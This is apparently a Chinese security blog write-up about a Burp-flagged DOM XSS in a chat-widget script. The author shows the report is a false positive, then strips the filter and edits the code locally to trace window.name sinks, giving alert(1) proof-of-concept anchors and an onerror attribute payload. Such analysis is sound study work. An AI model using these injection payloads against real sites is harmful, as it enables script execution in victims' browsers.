记某个DOM型XSS

发现

Burp检测到的

image-20200201034751287

window.name通过

1
<a href="file:///C:/Users/yuban/Desktop/test.html" target='1||1||1||alert(1)'>PoC</a>

变成我们想要的

具体问题出在这里

1
2
3
4
5
6
7
8
9
10
11
12
resizeIframe: function (width, height) {
var winName = !!window.name ? window.name.replace(/\n|<.*?>/g, '').replace(/\"/g, '\\\'') : window.name;
var name = 'RESIZE||' + winName + '||' + width + '||' + height;
var div = document.createElement('div');
div.innerHTML = '<ifr' + 'ame id="inqChatStage" name="' + name + '" src="' + this.embeddedHostedFile + '?RSC2C"'
+ ' style="z-index:9999999;overflow:hidden;position:absolute;height:1px;width:1px;left:0px;top:0px;border-style: none;border-width: 0px;display: none;"'
+ ' scrolling="NO"'
+ ' frameborder=0'
+ '></ifr' + 'ame>';
var ifrm = div.firstChild;
document.body.appendChild(ifrm);
}

仔细看了下代码,

1
var winName = !!window.name ? window.name.replace(/\n|<.*?>/g, '').replace(/\"/g, '\\\'')  : window.name;

嗯,存在过滤,不需要继续了Orz

虽然是误报,但是既然碰到了就索性分析一下

首先把这段过滤去掉

1
var winName = window.name;

可以安心的去看别的代码了

分析

先找下触发点

setSource中触发漏洞函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
setSource: function (attributes, domain) {
v3Lander.embeddedHostedFile = v3Lander.getHostedFileURL(domain);
v3Lander.embeddedDiv.innerHTML = '';
var image = new Image();

image.onload = function (e) {
v3Lander.resizeIframe(this.width, this.height);
return false;
};
attributes = JSON.parse(decodeURIComponent(attributes));
for (var attr in attributes) {
image.setAttribute(attr, attributes[attr]);
}

v3Lander.embeddedDiv.appendChild(image);
}

有意思的是如果该函数的参数可控的话可以直接利用

1
2
3
for (var attr in attributes) {
image.setAttribute(attr, attributes[attr]);
}

达成XSS,即

1
attributes = {"src":"@","onerror":"alert(1)"}

看下哪里触发了setSource

1
2
3
4
5
6
7
8
renderC2CDiv: function () {
document.body.style.cssText = 'border-style: none; border-width: 0px; margin: 0px; padding: 0px;overflow: hidden;overflow-x: hidden;overflow-y: hidden;';
var c2cdiv = document.createElement('DIV');
c2cdiv.id = window.name;
document.body.appendChild(c2cdiv);
v3Lander.embeddedDiv = c2cdiv;
c2cdiv['setSource'] = v3Lander.setSource;
}

现实往往是残酷的,这里仅仅将函数赋给了c2cdiv,没想到不仅没考虑到正则甚至连完整的攻击链都无法构成,插件果然不靠谱。不过都到这里了总不能停下,稍微修改下代码,咱继续本地测试

1
2
3
4
5
6
7
8
renderC2CDiv: function () {
document.body.style.cssText = 'border-style: none; border-width: 0px; margin: 0px; padding: 0px;overflow: hidden;overflow-x: hidden;overflow-y: hidden;';
var c2cdiv = document.createElement('DIV');
c2cdiv.id = window.name;
document.body.appendChild(c2cdiv);
v3Lander.embeddedDiv = c2cdiv;
c2cdiv['setSource'] = v3Lander.setSource(c2cdiv.id);
}

修改后的代码中c2cdiv.id可控,即attributes可控,接下来继续找触发点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
onDomReady: function () {
if (v3Lander.domReady) {
return;
}
v3Lander.domReady = true;
if (window.location.href.indexOf('?C2C') != - 1) {
try {
v3Lander.renderC2CDiv();
} catch (e) {
}
return;
}
},
setDomReadyTimeout: function (t) {
setTimeout(function () {
v3Lander.onDomReady();
}, t || 0);
}
...........
if (window.location.href.indexOf('?CLEAR') != -1) {
document.cookie = cookieName + '';
} else if (window.location.href.indexOf('?C2C') != -1) {
v3Lander.setDomReadyTimeout();
} else if (window.location.href.indexOf('?RSC2C') != -1) {
v3Lander.resizeAnscestorIframe();
} else if (!!window.name && window.name.indexOf('||') != -1) {
if (window.location.search == '?XFRM') {
v3Lander.xframeToIjsf();
window.close();
}
}

很显然只要加上?C2C就能满足条件了

1
<a href="file:///C:/Users/yuban/Desktop/test.html?C2C" target='{"src":"@","onerror":"alert(1)"}'>PoC</a>

此外还有一处有意思的地方

1
2
3
4
5
6
7
8
9
10
11
12
13
14
wrapWithTryCatch: function (code) {
return 'try {\n'
+ code
+ '\n} catch(e){'
+ 'Inq.log(\'ERROR:\' + e.message);'
+ '};';
},
xframeToIjsf: function () {
var items = name.split('||');
var code = decodeURIComponent(items[3]);
var chatStageWindow = window.parent.parent.parent.document.getElementById('inqChatStage').contentWindow;
chatStageWindow.setTimeout(v3Lander.wrapWithTryCatch(code), 1);
}
}

xframeToIjsf中的 name 也就是 window.name ,显然,只要存在 id 为 inqChatStageiframe标签就可以利用了,触发点则是?XFRM

1
<a href="file:///C:/Users/yuban/Desktop/test.html?XFRM" target='||1||2||alert(1)'>PoC</a>